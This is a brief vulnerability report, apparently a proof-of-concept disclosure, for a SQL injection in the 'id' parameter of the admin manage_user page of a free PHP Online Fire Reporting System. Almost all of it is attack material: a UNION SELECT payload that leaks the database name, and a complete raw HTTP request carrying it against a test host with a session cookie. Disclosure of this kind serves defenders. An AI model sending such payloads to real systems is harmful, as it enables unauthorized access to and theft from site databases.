vendors: https://www.sourcecodester.com/php/15346/online-fire-reporting-system-phpoop-free-source-code.html
Vulnerability File: /ofrs/admin/?page=user/manage_user&id=
Vulnerability location: /ofrs/admin/?page=user/manage_user&id=, id
[+] Payload: /ofrs/admin/?page=user/manage_user&id=-6%27%20union%20select%201,database(),3,4,5,6,7,8,9,10,11--+ // Leak place ---> id
GET /ofrs/admin/?page=user/manage_user&id=-6%27%20union%20select%201,database(),3,4,5,6,7,8,9,10,11--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=qq2e8htekg3g2rkgtbq38p0jnv
Connection: close
